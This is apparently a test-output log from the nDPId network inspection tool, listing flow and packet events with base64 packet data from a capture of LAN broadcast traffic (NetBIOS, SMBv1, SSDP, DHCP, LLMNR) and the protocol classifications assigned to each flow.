+00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1470104390741,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:fe9a:ec54","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1470104390741,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:fe9a:ec54","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1470104393097,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":97082,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOHxQAAIARlk7AqAPswKj\/\/wCJAIkAOqdmilEBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1470104393097,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00579{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":97241,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEYAAAER2QTAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00580{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":302618,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFMAAAER7zHAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":745,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59461,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":610238,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAABOGrEAAEAR2XDAqAUtwKj\/\/+hFAIkAOjOmABcBEAABAAAAAAAAIEVIRUdFSkVNRUZDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAE="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":745,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59461,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":746,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":610386,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAABOnJgAAEARV4nAqAUtwKj\/\/wCJAIkAOr16RfsBEAABAAAAAAAAIEVPRUJGREVHRUpFTUVGQ0FDQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":746,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":747,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":610555,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAADKO0kAAEARuFzAqAUtwKj\/\/wCKAIoAtoWlEQJF7sCoBS0AAACgAAAgRU5FQkVERUNFUEVQRUxFQkVKRkNDTkVGREJFRURBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAA1TQAAO1FEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQTsRQAA"} +00554{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":747,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00636{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":610744,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAADK5DUAAEARD3DAqAUtwKj\/\/wCKAIoAtoasEQJF8cCoBS0AAACgAAAgRU5FQkVERUNFUEVQRUxFQkVKRkNDTkVGREJFRURBQUEAIEVORkRFSUVQRU5FRkNBQ0FDQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAA1TQAAPBFEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQTvRQAA"} +00636{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":611090,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAADKOS4AAEARunfAqAUtwKj\/\/wCKAIoAtoChEQJF98CoBS0AAACgAAAgRU5FQkVERUNFUEVQRUxFQkVKRkNDTkVGREJFRURBQUEAIEVORkpFSEZDRVBGRkZBQ0FDQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAA1TQAAPZFEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQT1RQAA"} +00469{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104393,"pkt_ts_usec":813792,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOHxcAAIARlkvAqAPswKj\/\/wCJAIkAOqdiilUBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00579{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104394,"pkt_ts_usec":223876,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChAc0AAAERAdTAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104394,"pkt_ts_usec":224091,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMQIAAAER0m7AqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00469{"flow_id":73,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":762,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104394,"pkt_ts_usec":531875,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOHxoAAIARlkjAqAPswKj\/\/wCJAIkAOqdiilUBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":763,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104394,"pkt_ts_usec":635803,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAABOipYAAEARaYvAqAUtwKj\/\/wCJAIkAOr16RfsBEAABAAAAAAAAIEVPRUJGREVHRUpFTUVGQ0FDQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00469{"flow_id":73,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104395,"pkt_ts_usec":351449,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOHysAAIARljfAqAPswKj\/\/wCJAIkAOqdiilUBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":772,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1470104395656,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00836{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104395,"pkt_ts_usec":656981,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/wKC7c+snCABFAAFZOwBAAEARM+XAqAoH\/\/\/\/\/\/YA9gABRUQe\/\/+eLaAAwKC7c+snwKgKBwAAAgAnAURHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTd2l0Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMuMTAuMDEzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwKC7c+snQjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRUDBSMUQ5MDAwMDIzAAAAAAAAAAAAAAAAAAAAAAAAAERHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqAoH\/\/8AAFBvcnQgOAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":773,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1470104395657,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":773,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104395,"pkt_ts_usec":657061,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARqaYAAAAA\/\/\/\/\/wBEAEMBNLOUAQEGALkL8pMAEIAAAAAAAAAAAAAAAAAAAAAAAExeDOoDZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBPQcBTF4M6gNlNwYBAwYPLCH\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00543{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":773,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1470104395657,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3,6,15,44,33"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":784,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1470104396888,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4568:efbc:40b1:1346","dst_ip":"ff02::1:3","src_port":50194,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104396,"pkt_ts_usec":888586,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQADSNIkYwreht1gAAAAACIRAf6AAAAAAAAARWjvvECxE0b\/AgAAAAAAAAAAAAAAAQADxBIU6wAiAfRVcwAAAAEAAAAAAAAIa2V2aW4tUEMAAP8AAQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":784,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1470104396888,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4568:efbc:40b1:1346","dst_ip":"ff02::1:3","src_port":50194,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":785,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1470104396889,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"224.0.0.252","src_port":54470,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104396,"pkt_ts_usec":889494,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYwreCABFAAA2fi0AAAERlLzAqAUp4AAA\/NTGFOsAItEVVXMAAAABAAAAAAAACGtldmluLVBDAAD\/AAE="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":785,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1470104396889,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"224.0.0.252","src_port":54470,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00457{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104396,"pkt_ts_usec":987090,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQADSNIkYwreht1gAAAAACIRAf6AAAAAAAAARWjvvECxE0b\/AgAAAAAAAAAAAAAAAQADxBIU6wAiAfRVcwAAAAEAAAAAAAAIa2V2aW4tUEMAAP8AAQ=="} +00429{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104396,"pkt_ts_usec":987104,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYwreCABFAAA2fi4AAAERlLvAqAUp4AAA\/NTGFOsAItEVVXMAAAABAAAAAAAACGtldmluLVBDAAD\/AAE="} +00577{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":90815,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfi8AAAERhVHAqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":791,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1470104397091,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":91815,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/cPGh+Cr9CABFAAFIAzMAAIARcMHAqAUJ\/\/\/\/\/wBEAEMBND1aAQEGAPwPedgAAIAAwKgFCQAAAAAAAAAAAAAAAHDxofgq\/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEIPQcBcPGh+Cr9DAlKb2FubmEtUEM8CE1TRlQgNS4wNw0BDwMGLC4vHyF5+Sv8\/wAAAAAAAAAAAAAA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":791,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1470104397091,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,15,3,6,44,46,47,31,33,121,249,43,252"}} 